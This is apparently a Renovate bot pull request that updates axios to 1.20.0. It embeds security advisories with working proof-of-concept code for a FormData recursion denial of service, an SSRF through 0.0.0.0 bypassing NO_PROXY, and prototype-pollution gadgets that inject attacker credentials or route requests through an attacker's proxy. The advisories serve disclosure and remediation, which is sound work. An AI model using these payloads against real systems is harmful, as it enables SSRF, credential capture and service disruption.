deps(deps): update dependency axios to v1.20.0 - autoclosed #703

Closed
renovate-bot wants to merge 1 commit from renovate/axios-1.x-lockfile into main
Collaborator

This PR contains the following updates:

Package Change Age Confidence
axios (source) 1.16.0 → 1.20.0 age confidence

Axios: Excessive recursion in formDataToJSON can cause denial of service

CVE-2026-67313 / GHSA-42h9-826w-cgv3

More information

Details

Summary

Axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON, the helper behind the public axios.formToJSON() / named formToJSON API and the default request transform used when FormData is sent with an application/json content type.

Applications are affected when they pass attacker-controlled FormData field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw RangeError: Maximum call stack size exceeded, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.

Impact

The impact is denial of service against applications that process untrusted FormData field names through axios' FormData-to-JSON conversion.

The vulnerable path is not reached by merely installing axios, by normal multipart FormData pass-through, or by ordinary axios requests that do not request JSON serialisation of FormData. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of formToJSON() throws synchronously.

Server-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with formToJSON() or sends them through axios as JSON.

Affected Functionality

Affected APIs and paths:

  • axios.formToJSON(formData)
  • import { formToJSON } from "axios"
  • lib/helpers/formDataToJSON.js
  • axios default transformRequest when data is FormData and Content-Type contains application/json

Unaffected or lower-risk paths:

  • Normal multipart FormData requests without JSON Content-Type
  • toFormData() object-to-FormData serialisation, which already has a maxDepth guard
  • Axios versions before 0.28.0, where this helper and public API were not present
Technical Details

lib/helpers/formDataToJSON.js parses a form field name into path segments with parsePropPath(). For a key such as a[x][x][x], each bracketed segment becomes another path element.

formDataToJSON() then calls the nested buildPath(path, value, target, index) function. buildPath() recursively calls itself once for each path segment and does not enforce a maximum depth:

const result = buildPath(path, value, target[name], index);

A key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws RangeError: Maximum call stack size exceeded.

Axios already applies a depth guard to the inverse serializer in lib/helpers/toFormData.js, where maxDepth defaults to 100 and exceeding it throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED. formDataToJSON() does not currently have equivalent protection.

Proof of Concept of Attack
import { formToJSON } from "axios";

const fd = new FormData();
fd.append("a" + "[x]".repeat(15000), "value");

try {
  formToJSON(fd);
  console.log("not vulnerable");
} catch (err) {
  console.log(`${err.constructor.name}: ${err.message}`);
}

Expected vulnerable result:

RangeError: Maximum call stack size exceeded

The axios request transform path can also be reached before network I/O:

import axios from "axios";

const fd = new FormData();
fd.append("a" + "[x]".repeat(15000), "value");

await axios
  .post("http://127.0.0.1:1/", fd, {
    headers: { "Content-Type": "application/json" }
  })
  .catch((err) => console.log(`${err.constructor.name}: ${err.message}`));

Expected vulnerable result:

RangeError: Maximum call stack size exceeded

Workarounds

Applications can avoid the vulnerable path by not converting attacker-controlled FormData to JSON with axios.

If conversion is required before a fixed axios release is available, validate FormData field names before calling formToJSON() or before sending FormData with Content-Type: application/json. Reject keys whose parsed nesting depth exceeds the application's expected schema.

For axios requests carrying untrusted FormData, avoid setting Content-Type: application/json; leaving the data as multipart FormData bypasses formDataToJSON().

Catching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.

Original Report
Axios SSRF via Incomplete Loopback Detection
CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

1. Classification
CWE CVSS Score Severity Type
CWE-918 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) HIGH Server-Side Request Forgery
2. Description
Summary

The shouldBypassProxy() function in Axios fails to recognise 0.0.0.0, ::, and ::ffff:0.0.0.0 as loopback addresses. When NO_PROXY=localhost is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface.

Root Cause

File: lib/helpers/shouldBypassProxy.js

isIPv4Loopback (lines 3-8): Only checks for 127.x.x.x addresses by inspecting parts[0] !== '127'. The 0.0.0.0 address has parts[0] === '0', so it falls through as non-loopback, even though on Linux 0.0.0.0 routes to the loopback interface.

isIPv6Loopback (lines 10-38): Only checks host === '::1'. The :: address (unspecified IPv6) also routes to the loopback, but is not recognised.

Attack Flow:

isIPv4Loopback (line 3) — fails for 0.0.0.0
  → isLoopback (line 44) — wraps both checks, returns false
    → shouldBypassProxy (line 127) — PUBLIC API, exported default
      → lib/adapters/http.js (line 190) — Node.js HTTP adapter
Attack Vector
  • Access Vector: Network (AV:N)
  • Access Complexity: Low (AC:L) — attacker only needs control of a URL
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
3. Proof of Concept
Phase 1: Logic Verification
import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';

// Normal loopback — correctly returns true (bypasses proxy)
shouldBypassProxy('http://127.0.0.1:9999/');  // → true

// Vulnerable — returns false (goes through proxy!)
shouldBypassProxy('http://0.0.0.0:9999/');    // → false  ← SSRF
shouldBypassProxy('http://[::]:9999/');        // → false  ← SSRF
shouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF
Phase 2: Docker E2E Reproduction

A full 3-container Docker reproduction was created and tested:

  • Proxy container: Simple HTTP forward proxy on port 8888
  • Internal container: Internal service on port 9999 (simulates sensitive internal resource)
  • Attacker container: Runs the test script with Axios source mounted

Reproduction steps:

cd /tmp/deep-e2e
docker compose up -d
docker compose exec attacker node test-ssrf.js

Results:

  • Test 1: 127.0.0.1 + NO_PROXY=localhost → BYPASS (correct)
  • Test 2: 0.0.0.0 + NO_PROXY=localhost → VIA_PROXY (SSRF)
  • Test 3: [::] + NO_PROXY=localhost → VIA_PROXY (SSRF)
  • Test 4: [::ffff:0.0.0.0] + NO_PROXY=localhost → VIA_PROXY (SSRF)
Phase 3: Actual Axios Client

The real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration:

  • Axios with proxy: { host: 'proxy', port: 8888 }
  • Setting NO_PROXY=localhost and requesting http://0.0.0.0:9999/
  • Result: Axios forwarded the request through the proxy instead of bypassing it
4. Impact
Attack Scenario
  1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain)
  2. The Axios client is configured with a proxy (e.g., corporate proxy) and NO_PROXY=localhost to protect internal services
  3. Attacker supplies http://0.0.0.0:8080/admin as the target URL
  4. Axios sends the request through the proxy
  5. The proxy resolves 0.0.0.0 → the proxy's own loopback → reaches the internal admin service on port 8080
Potential Consequences
  • Information disclosure (C:L): Internal service responses become accessible
  • Integrity impact (I:L): Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE)
  • Availability impact (A:L): Limited — depends on internal service behavior
Likelihood
  • High — proxy bypass is a common pattern in microservice architectures
  • Medium — requires attacker control of a URL (not always available)
5. Remediation
Code Fix

File: lib/helpers/shouldBypassProxy.js

function isIPv4Loopback(host) {
  if (host === '0.0.0.0') return true;  // ADD THIS LINE
  const parts = host.split('.');
  if (parts.length !== 4) return false;
  if (parts[0] !== '127') return false;
  return parts.every(p => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
}

function isIPv6Loopback(host) {
  if (host === '::1' || host === '::') return true;  // ADD '::'
  // ... rest of implementation
}
Workarounds
  • Add 0.0.0.0 and :: to the NO_PROXY environment variable explicitly
  • Use 127.0.0.1 instead of 0.0.0.0 in all internal service URLs
  • Implement URL validation to reject 0.0.0.0 and :: before passing to Axios

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: Nested axios option objects can consume polluted prototype values

CVE-2026-67319 / GHSA-7q8q-rj6j-mhjq

More information

Details

Summary

Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted Object.prototype.

The top-level merged config is protected with a null prototype, but nested plain objects such as auth and paramsSerializer are cloned into ordinary objects. If application code passes placeholders such as auth: {} or paramsSerializer: {}, inherited username, password, encode, or serialize properties can influence outbound requests.

Impact

This is reachable only when another component has already polluted Object.prototype and the application passes an affected nested axios option object.

Confirmed impacts include silent injection of an Authorization: Basic ... header from inherited username and password values, and query-string tampering when inherited paramsSerializer fields are function-valued.

The auth case requires only string-valued pollution. Full query-string replacement through paramsSerializer.serialize requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through encode.

This does not mean every axios request is affected. Requests that do not pass auth, do not pass paramsSerializer, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.

Affected Functionality

Affected runtime functionality:

  • Node HTTP adapter Basic auth handling in lib/adapters/http.js.
  • Browser/fetch/XHR Basic auth handling through lib/helpers/resolveConfig.js.
  • Query serialization through lib/helpers/buildURL.js.
  • axios.getUri() when called with an affected paramsSerializer object.

Affected config shapes:

  • auth: {} or an auth object missing own username and/or password.
  • paramsSerializer: {} or a paramsSerializer object missing own encode and/or serialize.

Unaffected by this specific issue:

  • Requests with no auth property.
  • Requests with no paramsSerializer property.
  • Top-level polluted auth or paramsSerializer values in current hardened versions.
Technical Details

lib/core/mergeConfig.js creates the top-level merged config with Object.create(null), but nested object cloning still uses ordinary {} containers:

} else if (utils.isPlainObject(source)) {
  return utils.merge({}, source);
}

Downstream code then reads nested fields without own-property checks.

In lib/helpers/resolveConfig.js:

btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))

In lib/adapters/http.js:

const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;

In lib/helpers/buildURL.js:

const _encode = (options && options.encode) || encode;
const serializeFn = _options && _options.serialize;
Proof of Concept of Attack
import http from 'node:http';
import axios from './index.js';

const user = 'attacker';
const pass = 'exfil';

Object.defineProperty(Object.prototype, 'username', {
  value: user,
  configurable: true
});

Object.defineProperty(Object.prototype, 'password', {
  value: pass,
  configurable: true
});

Object.defineProperty(Object.prototype, 'serialize', {
  value: () => 'polluted=1',
  configurable: true
});

const server = http.createServer((req, res) => {
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({
    authorization: req.headers.authorization || null,
    url: req.url
  }));
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));

try {
  const port = server.address().port;
  const response = await axios.get(`http://127.0.0.1:${port}/demo`, {
    auth: {},
    paramsSerializer: {},
    params: { unused: 'ignored' }
  });

  console.log(response.data);
} finally {
  await new Promise((resolve) => server.close(resolve));
  delete Object.prototype.username;
  delete Object.prototype.password;
  delete Object.prototype.serialize;
}

Observed result:

{
  "authorization": "Basic YXR0YWNrZXI6ZXhmaWw=",
  "url": "/demo?polluted=1"
}
Workarounds

If upgrading is not yet possible, avoid passing placeholder nested option objects.

Remove auth entirely when Basic auth is not intended. For paramsSerializer objects, provide explicit own encode and serialize properties or remove paramsSerializer when custom serialization is not required.

These workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.

Original Report
Summary

axios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string.

Details

mergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers:

mergeConfig.js Lines 36-45

  function getMergedValue(target, source, prop, caseless) {
    if (utils.isPlainObject(target) && utils.isPlainObject(source)) {
      return utils.merge.call({ caseless }, target, source);
    } else if (utils.isPlainObject(source)) {
      return utils.merge({}, source);
    } else if (utils.isArray(source)) {
      return source.slice();
    }
    return source;
  }

The cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:

Browser / fetch Basic auth — lib/helpers/resolveConfig.js:
resolveConfig.js Lines 64-70

  if (auth) {
    headers.set(
      'Authorization',
      'Basic ' +
        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
    );
  }

Node HTTP adapter Basic auth — lib/adapters/http.js:
http.js Lines 829-836

      // HTTP basic authentication
      let auth = undefined;
      const configAuth = own('auth');
      if (configAuth) {
        const username = configAuth.username || '';
        const password = configAuth.password || '';
        auth = username + ':' + password;
      }

paramsSerializer reads — lib/helpers/buildURL.js:
buildURL.js Lines 31-54

export default function buildURL(url, params, options) {
  if (!params) {
    return url;
  }
  const _encode = (options && options.encode) || encode;
  const _options = utils.isFunction(options)
    ? {
        serialize: options,
      }
    : options;
  const serializeFn = _options && _options.serialize;
  let serializedParams;
  if (serializeFn) {
    serializedParams = serializeFn(params, _options);
  } else {
    serializedParams = utils.isURLSearchParams(params)
      ? params.toString()
      : new AxiosURLSearchParams(params, _options).toString(_encode);
  }

Because auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.

The auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.

PoC
import http from 'node:http';
import axios from '../../index.js';

const ATTACKER_USER = 'attacker';
const ATTACKER_PASS = 'exfil';
const ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64');

// Step 1: simulate a pre-existing prototype-pollution primitive in this process.
// In reality, a separate dependency would have done this. We keep the
// "polluted" properties non-enumerable so they only affect inherited reads,
// which is the realistic shape of most prototype-pollution gadgets.
Object.defineProperty(Object.prototype, 'username', {
  value: ATTACKER_USER,
  configurable: true,
});
Object.defineProperty(Object.prototype, 'password', {
  value: ATTACKER_PASS,
  configurable: true,
});
Object.defineProperty(Object.prototype, 'serialize', {
  value: () => 'polluted=1',
  configurable: true,
});

// Local capture server.
const server = http.createServer((req, res) => {
  const captured = {
    authorization: req.headers['authorization'] || null,
    url: req.url,
  };
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify(captured));
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;

try {
  // Application code: passes nested *placeholder* option objects that have
  // no own auth/serializer properties. Without prototype pollution this is
  // a no-op. With prototype pollution it becomes attacker-controlled state.
  const response = await axios.get(`http://127.0.0.1:${port}/demo`, {
    auth: {},
    paramsSerializer: {},
    params: { unused: 'ignored-by-polluted-serializer' },
  });

  console.log('--- PoC: nested-option prototype-pollution gadgets ---');
  console.log('Server saw:', JSON.stringify(response.data));

  const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`;
  const urlRewritten = response.data.url === '/demo?polluted=1';

  if (authLeaked && urlRewritten) {
    console.log(
      'VULNERABLE: nested auth + paramsSerializer inherited polluted ' +
        'Object.prototype values into the outbound request.'
    );
    process.exitCode = 0;
  } else {
    console.log('NOT VULNERABLE: nested option objects did not leak prototype state.');
    console.log('  authLeaked   =', authLeaked);
    console.log('  urlRewritten =', urlRewritten);
    process.exitCode = 1;
  }
} finally {
  server.close();
  // Restore Object.prototype so a noisy exit/process state cannot affect
  // anything else accidentally sharing the runtime.
  delete Object.prototype.username;
  delete Object.prototype.password;
  delete Object.prototype.serialize;
}
Impact

Concrete consequences:

  • Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams.
  • Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios

CVE-2026-67315 / GHSA-f4gw-2p7v-4548

More information

Details

Summary

Axios versions containing lib/helpers/shouldBypassProxy.js do not treat 0.0.0.0 as a local address when evaluating NO_PROXY rules. In Node.js applications that use HTTP_PROXY or HTTPS_PROXY together with NO_PROXY=localhost,127.0.0.1,::1 or similar, a request to http://0.0.0.0:<port>/ can be routed through the configured proxy instead of bypassing it.

The issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay 0.0.0.0 to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.

Impact

Applications are affected when all of the following are true:

  • The application runs axios in Node.js with the HTTP adapter.
  • The process uses environment proxy variables such as HTTP_PROXY or HTTPS_PROXY.
  • The process uses NO_PROXY entries such as localhost, 127.0.0.1, or ::1 to keep local traffic out of the proxy path.
  • Attacker-controlled input can influence the request URL or redirect target.
  • The configured proxy does not reject 0.0.0.0 and can reach the local destination.

For plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.

Affected Functionality

Affected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:

  • lib/adapters/http.js calls getProxyForUrl(location) and then shouldBypassProxy(location) before applying the proxy.
  • lib/helpers/shouldBypassProxy.js normalizes and compares NO_PROXY entries.
  • Explicit caller-provided config.proxy remains trusted caller configuration.
  • Browser, React Native, XHR, and fetch adapter behavior are not affected.
Technical Details

lib/helpers/shouldBypassProxy.js defines local loopback equivalence through isLoopback(). The current implementation recognizes localhost, IPv4 127.0.0.0/8, IPv6 ::1, and IPv4-mapped loopback forms, but it does not include 0.0.0.0.

At lib/helpers/shouldBypassProxy.js:176, axios treats two hosts as matching when both are considered loopback:

return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));

Because isLoopback('0.0.0.0') returns false, NO_PROXY=localhost,127.0.0.1,::1 does not match http://0.0.0.0:<port>/. lib/adapters/http.js:185-193 then applies the environment proxy.

Proof of Concept of Attack
import http from 'http';
import axios from './index.js';

const listen = (handler, host = '127.0.0.1') =>
  new Promise((resolve) => {
    const server = http.createServer(handler);
    server.listen(0, host, () => resolve(server));
  });

const close = (server) => new Promise((resolve) => server.close(resolve));

const origin = await listen((req, res) => res.end('origin'), '0.0.0.0');

let proxyRequests = 0;
const proxy = await listen((req, res) => {
  proxyRequests += 1;
  res.end('proxied');
});

process.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;
process.env.HTTP_PROXY = process.env.http_proxy;
process.env.no_proxy = 'localhost,127.0.0.1,::1';
process.env.NO_PROXY = process.env.no_proxy;

try {
  const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);
  const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);

  console.log({ direct: direct.data, zero: zero.data, proxyRequests });
} finally {
  await close(origin);
  await close(proxy);
}

Expected safe behavior: both 127.0.0.1 and 0.0.0.0 bypass the proxy when the NO_PROXY policy is intended to cover local destinations.

Observed behavior: 127.0.0.1 bypasses the proxy, while 0.0.0.0 is sent through the proxy.

Workarounds
  • Add 0.0.0.0 explicitly to NO_PROXY where local addresses must bypass proxies.
  • Reject or normalize 0.0.0.0 in application URL validation before calling axios.
  • Set proxy: false on axios requests that must never use environment proxies.
  • Configure the proxy itself to reject 0.0.0.0, loopback, link-local, and internal address ranges.
Original Report
Summary

axios versions 1.15.0–1.16.1 contain an incomplete loopback-address check in lib/helpers/shouldBypassProxy.js. The isLoopback() function correctly identifies 127.0.0.0/8 and ::1 as loopback addresses but does not recognise 0.0.0.0 — the IPv4 unspecified address, which routes to the local machine on Linux and macOS.

An attacker who controls a URL passed to axios can use http://0.0.0.0/<path> to bypass proxy-based SSRF filtering that the application relies upon.

Details
Affected versions

>= 1.15.0, <= 1.16.1

The vulnerability was introduced in v1.15.0 when the shouldBypassProxy helper was added as a security improvement (PR #​10661).


Root cause

File: lib/helpers/shouldBypassProxy.js

// Line 1 — static allowlist (incomplete)
const LOOPBACK_HOSTNAMES = new Set(['localhost']);   // ← 0.0.0.0 missing

const isIPv4Loopback = (host) => {
  const parts = host.split('.');
  if (parts.length !== 4) return false;
  if (parts[0] !== '127') return false;   // ← 0.0.0.0: parts[0] = '0' → false
  return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
};

const isLoopback = (host) => {
  if (!host) return false;
  if (LOOPBACK_HOSTNAMES.has(host)) return true;   // ← '0.0.0.0' not in set
  if (isIPv4Loopback(host)) return true;           // ← returns false for 0.0.0.0
  return isIPv6Loopback(host);
};

isLoopback('0.0.0.0') returns false.

Node's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation.

##### PoC
'use strict';

// Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js

const LOOPBACK_HOSTNAMES = new Set(['localhost']);

const isIPv4Loopback = (host) => {
  const parts = host.split('.');
  if (parts.length !== 4) return false;
  if (parts[0] !== '127') return false;
  return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
};

const isLoopback = (host) => {
  if (!host) return false;
  if (LOOPBACK_HOSTNAMES.has(host)) return true;
  return isIPv4Loopback(host);
};

// 1. Show URL parser does NOT normalise 0.0.0.0
console.log(new URL('http://0.0.0.0/').hostname);    // → '0.0.0.0'   ← NOT normalised
console.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe)
console.log(new URL('http://2130706433/').hostname);  // → '127.0.0.1' ← normalised (safe)

// 2. Show isLoopback fails for 0.0.0.0
console.log(isLoopback('0.0.0.0'));   // → false  ← BUG: should be true
console.log(isLoopback('127.0.0.1')); // → true   ← correct

Verified output on Node.js v22 / axios v1.16.1:
0.0.0.0     ← NOT normalised by URL parser
127.0.0.1   ← octal normalised correctly
127.0.0.1   ← decimal normalised correctly
false       ← 0.0.0.0 not detected as loopback  ⚠
true        ← 127.0.0.1 correctly detected

##### Impact
Applications that:

Accept user-supplied URLs and pass them to axios
Use a proxy with NO_PROXY=localhost (or similar) for SSRF filtering
…can be bypassed by supplying http://0.0.0.0/<path>. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs.

Fix
Minimal (one line):

- const LOOPBACK_HOSTNAMES = new Set(['localhost']);
+ const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']);

Comprehensive:

const isIPv4Unspecified = (host) => host === '0.0.0.0';

const isLoopback = (host) => {
  if (!host) return false;
  if (LOOPBACK_HOSTNAMES.has(host)) return true;
  if (isIPv4Loopback(host)) return true;
  if (isIPv4Unspecified(host)) return true;   // add this line
  return isIPv6Loopback(host);
};
</details>

#### Severity
- CVSS Score: 6.9 / 10 (Medium)
- Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548](https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-67315](https://nvd.nist.gov/vuln/detail/CVE-2026-67315)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-68946](https://nvd.nist.gov/vuln/detail/CVE-2026-68946)
- [https://github.com/axios/axios/pull/11000](https://github.com/axios/axios/pull/11000)
- [https://github.com/axios/axios/pull/11001](https://github.com/axios/axios/pull/11001)
- [https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d](https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d)
- [https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2](https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2)
- [https://github.com/axios/axios](https://github.com/axios/axios)
- [https://github.com/axios/axios/releases/tag/v0.33.0](https://github.com/axios/axios/releases/tag/v0.33.0)
- [https://github.com/axios/axios/releases/tag/v1.18.0](https://github.com/axios/axios/releases/tag/v1.18.0)
- [https://www.vulncheck.com/advisories/axios-before-no-proxy-bypass-via](https://www.vulncheck.com/advisories/axios-before-no-proxy-bypass-via)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-f4gw-2p7v-4548) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning
[CVE-2026-67320](https://nvd.nist.gov/vuln/detail/CVE-2026-67320) / [GHSA-gcfj-64vw-6mp9](https://github.com/advisories/GHSA-gcfj-64vw-6mp9)

<details>
<summary>More information</summary>

#### Details
##### Summary

Axios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when `Object.prototype.proxy` is polluted and request configuration is materialized as a regular object before dispatch.

Recent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as `{...config}` or `Object.assign({}, config)` converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads `config.proxy` through the prototype chain.

##### Impact

In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy.

The highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit `Authorization` headers, axios-generated Basic auth from `config.auth`, request method, absolute URL, `Host`, and request body content. The proxy can also return its own response to axios for the affected request.

This does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation.

##### Affected Functionality

Affected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit `adapter: 'http'` usage.

The relevant configuration path is `config.proxy` in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as:

```js
api.interceptors.request.use((config) => ({
  ...config,
  headers: {
    ...config.headers,
    'X-App': 'demo'
  }
}));

Unaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted Object.prototype.proxy, an own proxy: false or safe own proxy value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone.

Technical Details

lib/core/mergeConfig.js creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted Object.prototype values from affecting config behavior.

lib/core/Axios.js runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch.

lib/core/dispatchRequest.js accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config.

lib/adapters/http.js uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes config.proxy directly into setProxy(). If an interceptor returned a regular object, config.proxy can resolve to inherited Object.prototype.proxy.

Proof of Concept of Attack
import axios from './index.js';
import http from 'node:http';

for (const key of [
  'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',
  'http_proxy', 'https_proxy', 'all_proxy',
  'NO_PROXY', 'no_proxy'
]) {
  delete process.env[key];
}

const listen = (handler) => new Promise((resolve, reject) => {
  const server = http.createServer(handler);
  server.once('error', reject);
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const close = (server) => new Promise((resolve) => server.close(resolve));

const targetHits = [];
const proxyHits = [];

const target = await listen((req, res) => {
  targetHits.push(req.url);
  res.end('target');
});

const proxy = await listen((req, res) => {
  let body = '';
  req.on('data', (chunk) => body += chunk);
  req.on('end', () => {
    proxyHits.push({
      url: req.url,
      authorization: req.headers.authorization,
      host: req.headers.host,
      body
    });
    res.setHeader('content-type', 'application/json');
    res.end('{"server":"proxy"}');
  });
});

Object.prototype.proxy = {
  protocol: 'http',
  host: '127.0.0.1',
  port: proxy.address().port
};

const api = axios.create();

api.interceptors.request.use((config) => ({
  ...config,
  headers: {
    ...config.headers,
    'X-App': 'demo'
  }
}));

try {
  const url = `http://127.0.0.1:${target.address().port}/api/secret`;

  const res = await api.post(
    url,
    {secret: 'request-body-secret'},
    {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}}
  );

  console.log({
    response: res.data,
    targetHits,
    proxyHits,
    finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy')
  });
} finally {
  delete Object.prototype.proxy;
  await close(target);
  await close(proxy);
}

Expected vulnerable result: the response comes from the proxy, targetHits is empty, and proxyHits contains the absolute URL, authorization header, host header, and request body.

Workarounds

Set an own proxy: false on affected requests or on an axios instance when proxy support is not required.

Avoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix.

Use the Node fetch adapter for affected requests where its behavior is compatible with the application.

Original Report
Summary

Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable
interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy
is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy.

Impact

In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a
request interceptor that returns a plain object copy of the config.

Verified local impact:

  • Authenticated request redirection to attacker-controlled proxy.
  • Disclosure of explicit Authorization headers.
  • Disclosure of axios-generated Basic auth headers from config.auth.
  • Disclosure of request metadata: method, absolute URL, Host header.
  • Disclosure of POST body content.

